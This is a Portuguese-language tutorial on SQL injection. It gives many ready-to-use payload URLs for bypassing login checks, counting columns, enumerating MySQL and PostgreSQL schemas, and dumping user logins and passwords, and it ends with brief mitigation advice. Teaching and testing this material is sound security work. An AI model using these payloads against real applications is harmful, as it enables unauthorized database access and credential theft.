sqli
O SQL Injection é uma vulnerabilidade de segurança que ocorre quando um aplicativo web não valida corretamente as entradas do usuário e permite que um invasor insira comandos SQL maliciosos. Com essa brecha, um atacante pode manipular consultas SQL para acessar, alterar ou excluir informações no banco de dados, comprometendo a integridade e confidencialidade dos dados armazenados.
Conceito Básico
SQL, que significa Structured Query Language, é uma linguagem utilizada para gerenciar bancos de dados, mas não é o banco de dados em si. Os principais bancos de dados que utilizam SQL incluem:
- Oracle
- SQL Server
- MySQL
- DB2
- PostgreSQL
Exemplos de SQL Injection
SQLi Básico
Na forma mais básica de SQL Injection, o invasor insere dados maliciosos em um formulário ou através de parâmetros na URL para manipular consultas. Por exemplo:
-
Preenchimento no formulário:
teste' or 1=1;# -
Método GET via URL:
http://intranet.businesscorp.com.br:8080/cat.php?id=3 or 1=1;#
Limitando o Número de Saídas
É possível limitar o número de saídas usando a cláusula LIMIT em conjunto com
SQL Injection. Por exemplo:
teste' or 1=1 limit 1;#
Descobrindo o Número de Colunas
Para descobrir o número de colunas em uma tabela, pode-se fazer tentativas
incrementais na cláusula ORDER BY até que um erro ocorra. Por exemplo:
http://<host>/cat.php?id=-1 order by 1
http://<host>/cat.php?id=-1 order by 2
http://<host>/cat.php?id=-1 order by 3
http://<host>/cat.php?id=-1 order by 4
http://<host>/cat.php?id=-1 order by 5 (Com erro - tabela possui 4 colunas)
Descobrindo o Número de Colunas usando UNION SELECT
Outra maneira de descobrir o número de colunas é através do uso da cláusula
UNION SELECT. Por exemplo:
http://<host>/cat.php?id=-1 union select 1
http://<host>/cat.php?id=-1 union select 1,2
http://<host>/cat.php?id=-1 union select 1,2,3
http://<host>/cat.php?id=-1 union select 1,2,3,4 (Com erro - tabela possui 4 colunas)
Obtendo Informações do Banco de Dados
Uma vez que o número de colunas é conhecido, pode-se obter informações do banco de dados, como a versão do MySQL, o nome do banco de dados, os usuários atuais, as tabelas existentes e suas colunas. Por exemplo:
http://<host>/cat.php?id=-1 union select 1,@@version,3,4
http://<host>/cat.php?id=-1 union select 1,database(),3,4
http://<host>/cat.php?id=-1 union select 1,current_user(),3,4
http://<host>/cat.php?id=-1 union select 1,schema_name,3,4 from information_schema.schemata
http://<host>/cat.php?id=-1 union select 1,table_name,3,4 from information_schema.tables;
http://<host>/cat.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema="nome_do_db";
http://<host>/cat.php?id=-1 union select 1,column_name,3,4 from information_schema.columns where table_schema="nome_do_db" and table_name="nome_tabela";
Efetuando um Dump de Dados
Uma vez que se sabe o nome da tabela e das colunas, pode-se efetuar um dump de dados do banco de dados. Por exemplo:
http://<host>/cat.php?id=-1 union select 1,login,3,4 from users;
http://<host>/cat.php?id=-1 union select 1,password,3,4 from users;
Exibindo Mais de uma Informação por Vez
Também é possível combinar informações em uma única saída. Por exemplo:
http://<host>/cat.php?id=-1 union select 1,concat(login,':',password),3,4 from users;
SQL Injection (Blind)
O SQL Injection Blind ocorre quando a aplicação não exibe mensagens de erro ou informações úteis para o invasor. Ele precisa usar a lógica booleana para inferir se as consultas são verdadeiras ou falsas.
Exemplos de SQL Injection Blind
-
Verificando o número de colunas:
1' and 1=1 order by 1# (Com retorno da aplicação)
1' and 1=1 order by 2# (Com retorno da aplicação)
1' and 1=1 order by 3# (Sem retorno da aplicação - duas colunas) -
Obtendo informações do banco de dados:
1' and 1=1 union select 'null',null,null,null (Com erro)
1' and 1=1 union select null,'null',null,null (Sem erro)
SQL Injection no PostgreSQL
Abaixo estão algumas técnicas comuns de SQL Injection no PostgreSQL.
Descobrindo o número de colunas
Para determinar o número de colunas em uma tabela, o invasor pode usar a
cláusula order by e incrementar o valor até encontrar o primeiro erro.
Exemplo:
http://<host>/cat.php?id=-1 order by 1 (Sem erro)
http://<host>/cat.php?id=-1 order by 2 (Sem erro)
http://<host>/cat.php?id=-1 order by 3 (Sem erro)
http://<host>/cat.php?id=-1 order by 4 (Sem erro)
http://<host>/cat.php?id=-1 order by 5 (Com erro)
Neste caso, a tabela possui 4 colunas.
Descobrindo o número de colunas através do UNION SELECT
O invasor pode usar a técnica UNION SELECT para determinar o número de colunas em uma consulta.
Exemplo:
http://<host>/cat.php?id=-1 union select null (Com erro)
http://<host>/cat.php?id=-1 union select null,null (Com erro)
http://<host>/cat.php?id=-1 union select null,null,null (Com erro)
http://<host>/cat.php?id=-1 union select null,null,null,null (Sem erro)
http://<host>/cat.php?id=-1 union select null,null,null,null,null (Com erro)
Nesse caso, a tabela possui 4 colunas.
Validando a coluna para obter informações
Após determinar o número de colunas, o invasor pode validar qual coluna contém informações relevantes para a extração.
Exemplo:
http://<host>/cat.php?id=-1 union select 'null',null,null,null (Com erro)
http://<host>/cat.php?id=-1 union select null,'null',null,null (Sem erro)
http://<host>/cat.php?id=-1 union select null,null,'null',null (Com erro)
http://<host>/cat.php?id=-1 union select null,null,null,'null' (Com erro)
Neste caso, a aplicação replica a informação na página através do campo dois.
Enumerando informações do banco de dados
Uma vez que o invasor determinou as colunas relevantes, ele pode prosseguir para obter informações do banco de dados.
-
Verificar todos os bancos de dados:
http://<host>/cat.php?id=-1 union select null,datname,null,null from pg_database; -
Verificar todas as tabelas:
http://<host>/cat.php?id=-1 union select null,tablename,null,null from pg_tables;
http://<host>/cat.php?id=-1 union select null,table_name,null,null from information_schema.tables; -
Verificar as tabelas em um banco de dados específico:
http://<host>/cat.php?id=-1 union select null,table_name,null,null from information_schema.tables where table_catalog='nome_do_db'; -
Verificar as colunas de uma tabela:
http://<host>/cat.php?id=-1 union select null,column_name,null,null from information_schema.columns where table_name='nome_da_tabela';
Extraindo dados
Uma vez que o invasor conhece o nome da tabela e das colunas, pode efetuar um dump de dados sensíveis.
Exemplo:
http://<host>/cat.php?id=-1 union select null,login,null,null from users;
http://<host>/cat.php?id=-1 union select null,password,null,null from users;
Mitigação de SQL Injection
Para evitar SQL Injection, é fundamental adotar práticas seguras de programação:
- Use consultas parametrizadas (prepared statements) ou ORM (Object-Relational Mapping) para evitar a inserção direta de dados do usuário nas consultas SQL.
- Realize a validação e sanitização adequada de todas as entradas do usuário antes de incorporá-las em consultas SQL.
- Limite os privilégios de acesso do usuário do banco de dados para minimizar os danos em caso de exploração bem-sucedida.
- Mantenha o software do banco de dados e do aplicativo atualizado com as últimas correções de segurança.
- Monitore os logs do aplicativo e do banco de dados em busca de atividades suspeitas.
Ao seguir essas práticas, é possível reduzir significativamente o risco de SQL Injection no PostgreSQL.